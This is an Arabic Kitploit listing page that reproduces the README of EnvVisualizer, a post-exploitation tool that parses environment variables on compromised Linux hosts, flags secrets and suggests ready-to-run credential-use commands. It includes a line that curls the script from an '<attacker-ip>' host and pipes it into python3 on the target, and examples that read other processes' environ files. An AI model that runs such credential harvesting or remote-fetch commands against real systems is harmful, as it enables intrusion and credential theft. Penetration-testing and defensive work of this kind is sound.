Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
EnvVisualizer — تحليل وتصوّر `/proc/self/environ` على أنظمة Linux المخترقة — يصنّف متغيرات البيئة حسب حزمة التقنيات (AWS، Django، Rails، NodeJS، MySQL، K8s، Docker، إلخ…) ويولّد رؤى مُصنّفة حسب الخطورة مع أوامر جاهزة للتنفيذ | Kitploit
أدوات/GitHubGitHub/w4r10ck423/envvisualizer
أدوات دفاعيةتحليل الثغرات الأمنيةتدقيق التكوينجمع المعلوماتما بعد الاستغلالCTFاختبار الاختراقأمن السحابةكشف الأسرارالفريق الأحمر
GitHubw4r10ck423/envvisualizer
44منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

EnvVisualizer

تحليل وتصوّر `/proc/self/environ` على أنظمة Linux المخترقة — يصنّف متغيرات البيئة حسب حزمة التقنيات (AWS، Django، Rails، NodeJS، MySQL، K8s، Docker، إلخ…) ويولّد رؤى مُصنّفة حسب الخطورة مع أوامر جاهزة للتنفيذ

عرض المستودع
مشاركة

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

حلّل وصنّف وصوّر /proc/self/environ على أجهزة Linux المخترقة.
حوّل جداراً من نص متغيرات البيئة المدمجة إلى معلومات استخباراتية منظمة ومرمّزة بالألوان — في ثوانٍ.


Python Platform License Context Author

المؤلف: @W4r10ck423


المشكلة

عندما تصل إلى جهاز وتقرأ /proc/self/environ، تحصل على هذا:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer يحوّل ذلك إلى هذا:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

مع تثبيت rich، تحصل كل فئة على جدولها المرمّز بالألوان.


الميزات

  • ثلاثة أوضاع إدخال — قراءة الملف مباشرةً (دقة مثالية)، أو التمرير عبر stdin، أو لصق نص خام
  • محلّل ذكي ثنائي الفئات — يتعامل بشكل صحيح مع النصوص المدمجة حيث تم إزالة البايتات الصفرية بواسطة النسخ واللصق؛ يكتشف متغيرات POSIX بالأحرف الكبيرة والمتغيرات المعروفة ذات البادئة بالأحرف الصغيرة (npm_*، node_*، pip_*، إلخ)
  • ست فئات دلالية — الأمان/المصادقة، الهوية، المسارات والمجلدات، NPM/Node، الشبكة/الوكيل، النظام، وأخرى
  • توسيع PATH — كل مجلد مُدرج كنقطة بدلاً من جدار مفصول بنقطتين
  • كشف الأسرار — يعلّم المتغيرات التي تطابق أسماؤها أو قيمها أنماط بيانات الاعتماد (TOKEN، KEY، SECRET، PASSWORD، إلخ) بتحذير ⚠
  • لوحة رؤى الاختبار الاختراقي — تُظهر تلقائياً النتائج القابلة للتنفيذ: سياق root، تصعيد sudo، منافذ Node.js debugger المكشوفة، سكريبتات دورة الحياة النشطة
  • Rich أو عادي — جداول مرمّزة بالألوان مع تثبيت rich؛ مخرجات نصية نظيفة كبديل (لا تتطلب أي تبعيات)

التثبيت

الخيار 1 — استنساخ وتشغيل (موصى به لبيئات الاختبار الاختراقي)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

الخيار 2 — التثبيت كأمر نظام

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

الخيار 3 — ملف واحد (لا يتطلب git)

انسخ envvisualizer.py إلى الجهاز الهدف أو جهاز المهاجم. يعمل بدون أي تبعيات:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

المتطلبات

التبعيةالإصدارمطلوب
Python≥ 3.8نعم
rich≥ 13.0لا (بديل نصي عادي)

الاستخدام

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

أوضاع الإدخال

نصيحة: فضّل -f كلما كان لديك وصول للملف.
الفاصل بالبايت الصفري في الملف الحقيقي دقيق — لا حاجة لاستدلالات.


أمثلة

القراءة مباشرةً من proc (أفضل دقة)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

التمرير عبر stdin

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

لصق نص خام (منسوخ من web shell / مخرجات RCE)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

مخرجات نصية عادية (بدون تبعية rich)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

فئات المخرجات

تُجمّع المتغيرات في 12 فئة، تُقيَّم بترتيب الأولوية (أول تطابق يفوز).


رؤى الاختبار الاختراقي

تُطلق لوحة Pentest Insights اكتشافات موجّهة وواعية بالتقنيات بأربعة مستويات خطورة.
تُولَّد الأوامر الجاهزة للتشغيل تلقائياً من القيم الفعلية الموجودة في البيئة.

الاكتشافات حسب التقنية

مثال على المخرجات (سيناريو متعدد التقنيات)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

كيف يعمل محلّل النصوص

عندما يتم نسخ /proc/self/environ ولصقه (مثلاً، من web shell أو مخرجات curl)، تُزال البايتات الصفرية، مما يدمج المتغيرات المتجاورة:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

تقسيم ساذج بـ WORD= سينتج devnpm_config_user_agent كمفتاح.

يستخدم EnvVisualizer كاشف حدود ثنائي الفئات يقسّم فقط على:

  1. المفاتيح ذات الأحرف الكبيرة الغالبة — USER، HOME، JOURNAL_STREAM، إلخ.
  2. البادئات المعروفة بالأحرف الصغيرة — npm_*، node_*، pip_*، java_*، python_*، ruby_*، إلخ.

لأن التعبير النمطي يجد npm_config_user_agent داخل الرمز المدمج، تُقلَّم القيمة السابقة تلقائياً إلى dev. لا lookbehind، لا افتراضات حدود الكلمات — فقط نمط المفتاح نفسه كمرساة.


الترخيص

MIT — استخدم بحرية، الإشارة إلى المصدر مُقدَّرة.

تنزيل الأداة
الطريقةالأمرالدقة
قراءة الملف مباشرةًpython3 envvisualizer.py -f /proc/self/environ✅ مثالية (تقسيم بالبايت الصفري)
تمرير stdincat /proc/self/environ | python3 envvisualizer.py✅ مثالية (تقسيم بالبايت الصفري)
نص ملصوقpython3 envvisualizer.py -r 'USER=dev...'✅ جيدة (استدلال ثنائي الفئات)
بدون وسائط (عرض توضيحي)python3 envvisualizer.py✅ مثالية (عمليته الخاصة)
الفئةالمتغيرات النموذجية
🔐 الأمان / المصادقةSSH_*، SUDO_*، أي شيء يطابق TOKEN، KEY، SECRET، PASSWORD، CREDENTIAL، CERT
👤 الهويةUSER، LOGNAME، HOME، SHELL، UID، GID
🗄 قواعد البياناتPG*، MYSQL_*، MONGO*، REDIS_*، DATABASE_URL، DB_*، ELASTIC*، CASSANDRA_*، SQLALCHEMY_*
☁ السحابة / البنية التحتيةAWS_*، GOOGLE_*، AZURE_*، ARM_*، DOCKER_*، KUBERNETES_*، VAULT_*، TF_*، CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*، GITLAB_*، CI_*، TRAVIS_*، CIRCLE*، JENKINS_*، HEROKU_*، BUILD_*
🔌 واجهات برمجة الطرف الثالثSTRIPE_*، TWILIO_*، SENDGRID_*، SENTRY_*، DD_*، SLACK_*، OPENAI_*، ALGOLIA_*، AUTH0_*
🕸 أطر الويبDJANGO_*، FLASK_*، RAILS_*، SPRING_*، ASPNETCORE_*، APP_KEY/ENV/DEBUG، SECRET_KEY_BASE، MIX_ENV، NEXT_*، VITE_*، REACT_APP_*
🐍 بيئات تشغيل التطبيقاتPYTHON*، CONDA_*، VIRTUAL_ENV، GEM_*، BUNDLE_*، JAVA_*، JVM_*، MAVEN_*، CATALINA_*، GO*، RUST*، CARGO_*، PHP_*، DOTNET_*، PERL*، DENO_*
📦 NPM / Nodenpm_*، NODE، NODE_ENV، NODE_OPTIONS
📂 المسارات والمجلداتPATH، PWD، *_DIR، *_PREFIX، *_HOME، *_CACHE، INIT_CWD
🌐 الشبكة / الوكيل*_PROXY، HOSTNAME، SSL_CERT_*، CURL_CA_BUNDLE، *_URL، *_ADDR
⚙ النظامLANG، TERM، EDITOR، INVOCATION_ID، JOURNAL_STREAM، XDG_*، LC_*
أخرىكل ما تبقى، مرتب أبجدياً
الخطورةالبادئةالمعنى
💀 CRITICAL[!!!]بيانات اعتماد حية، مفتاح سري، أو مفتاح رئيسي — تأثير فوري
⚠ HIGH[!! ]رمز مميز، وضع تصحيح، أو خدمة مكشوفة — مسار هجوم قابل للتنفيذ
→ MEDIUM[! ]معلومات مثيرة للاهتمام قد تساعد في التصعيد
▶ INFO[ * ]سياق عام حول العملية والبيئة
التقنيةما يتم اكتشافه
PostgreSQLPGPASSWORD → يبني تلقائياً psql postgresql://user:pass@host/db
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → يبني تلقائياً أمر mysql
MongoDBMONGO_INITDB_ROOT_* → يبني تلقائياً أمر mongosh
RedisREDIS_PASSWORD → يبني تلقائياً أمر redis-cli -a
DB URLsDATABASE_URL، MONGODB_URI، إلخ → يعلّم بيانات الاعتماد المدمجة
AWSزوج المفاتيح → يعلّمه كطويل الأمد أو STS مؤقت، يقترح aws sts get-caller-identity
GCPGOOGLE_APPLICATION_CREDENTIALS → يقترح gcloud auth activate-service-account
AzureAZURE_CLIENT_SECRET → يعلّم معرّف المستأجر + يقترح az login --service-principal
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → يقترح vault token lookup
KubernetesKUBERNETES_SERVICE_HOST المحقون → يعلّم سياق pod، يقترح قراءة رمز SA
DockerDOCKER_HOST معيّن → يعلّم كشف الـ daemon
GitHub / GitLabالرموز المميزة → يقترح أوامر curl للتحقق من API
HerokuHEROKU_API_KEY → يعلّمه مع اسم التطبيق
Stripesk_live_* الحقيقي → CRITICAL؛ sk_test_* التجريبي → MEDIUM
DatadogDD_API_KEY → يعلّم الوصول إلى المقاييس/السجلات/التتبعات
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → يعلّم الوصول إلى مساحة العمل
OpenAIOPENAI_API_KEY → يعلّم التعرض للفوترة
DjangoDJANGO_DEBUG=True → يعلّم كشف تتبع المكدس
FlaskFLASK_DEBUG=1 → يعلّم مصحح Werkzeug التفاعلي (تجاوز PIN / SSTI)
LaravelAPP_DEBUG=true + APP_KEY=base64:* → يعلّم مسار تزوير الكوكيز
RailsRAILS_MASTER_KEY → CRITICAL (يفك تشفير credentials.yml.enc)؛ SECRET_KEY_BASE → تزوير كوكيز الجلسة
JVMJAVA_TOOL_OPTIONS مع jdwp → يعلّم منفذ التصحيح عن بُعد، يقترح jdb -attach
TomcatCATALINA_HOME → يعلّم المسار إلى tomcat-users.xml
Node.js--inspect / --inspect-brk → يعلّم المصحح، يقترح chrome://inspect
KerberosKRB5CCNAME → يعلّم ذاكرة التذاكر المؤقتة، يقترح klist / Impacket
SudoSUDO_USER → يُظهر UID/GID الأصلي قبل التصعيد